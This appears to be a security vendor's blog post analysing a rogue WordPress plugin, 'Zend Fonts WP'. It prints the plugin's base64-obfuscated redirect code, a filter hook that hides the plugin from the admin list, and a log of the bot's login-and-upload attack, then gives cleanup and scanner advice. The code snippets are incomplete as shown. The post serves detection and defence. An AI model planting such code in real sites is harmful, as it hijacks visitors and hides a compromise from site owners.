How hackers install and hide rogue plugins on your WordPress blog.

A while back, I explained how hackers created hidden admin users after hacking a WordPress blog. In this post, we’ll see how they upload and hide rogue plugins.

Hidden Rogue Plugins

As an example, here’s a rogue plugin that we have found on many hacked WordPress sites lately. It’s call “Zend Fonts WP” (zend-fonts-wp/zend-fonts-wp.php):

Plugin Name: Zend Fonts WP
Plugin URI:
Description: Just another WordPress fonts plugin. Simple but flexible.
Author: Samioki Miyoshi
Author URI:
Text Domain: zen-fonts-wp
Domain Path: /languages/
Version: 5.1.6
function redirect()
   $url = base64_decode('bWFrZXRoaXNkYXlnb29kLmNvbS9tYWlu');

   if (!isset($_COOKIE[base64_decode('aHRfcnI=')])) {
      setcookie( base64_decode( 'aHRfcnI=' ), 1, time() + 86400, base64_decode( 'Lw==' ) );

      echo base64_decode( 'PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgi' ) . 'https://'.$url . base64_decode( 'Iik7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAi' ) . 'https://'.$url . base64_decode( 'Ijs8L3NjcmlwdD4=' );


A quick look at the plugin’s headers section and its code shows that it is a rogue plugin that conditionally redirects all traffic to malicious websites ( and Visitors are redirected once only.

Most of the time, this plugin is uploaded using a compromised administrator account. Here’s a sample of the HTTP log: - - [26/Aug/2021:01:59:05 +0200] "GET /wp-login.php HTTP/1.1" 200 - - [26/Aug/2021:01:59:06 +0200] "POST /wp-login.php HTTP/1.1" 302 - - [26/Aug/2021:01:59:07 +0200] "GET /wp-admin/ HTTP/1.1" 200 - - [26/Aug/2021:01:59:09 +0200] "GET /wp-admin/plugin-install.php HTTP/1.1" 200 - - [26/Aug/2021:01:59:12 +0200] "POST /wp-admin/update.php?action=upload-plugin HTTP/1.1" 200 

The 7-second attack shows how the attacker’s bot accessed the login page, logged-in and uploaded the plugin.

If an admin user logged in to the dashboard and visited the plugins section, they would see the rogue plugin:

To evade detection, hackers simply add the following 5 lines of code to their plugin:

add_filter('all_plugins', 'hide_plugins');
function hide_plugins($plugins) {
   return $plugins;

They rely on the WordPress all_plugins hook hook, which is used to filter the full array of plugins to list in the Plugins list table, and remove their plugin from that list so that, as soon as it is activated, the plugin will no longer be visible in the backend:

Because the attacker doesn’t make any other modification to the blog, this simple trick, along with the conditional redirection, is very efficient: some admin users who don’t have any security plugins may not even notice that they were hacked before several weeks.

Protection and Detection

If you’ve been hacked, make sure to delete the plugin (wp-content/plugins/zend-fonts-wp/zend-fonts-wp.php), to immediately change the password of all administrator users and the database too.

If you’re running a scanner such as our NinjaScanner plugin, you’ll see the rogue plugin in two sections of the report:
– The “Plugin” section, which will warn you that it detected an unknown plugin:

– The “Anti-Malware” section, which will detect it as a backdoor:

Stay informed about the latest vulnerabilities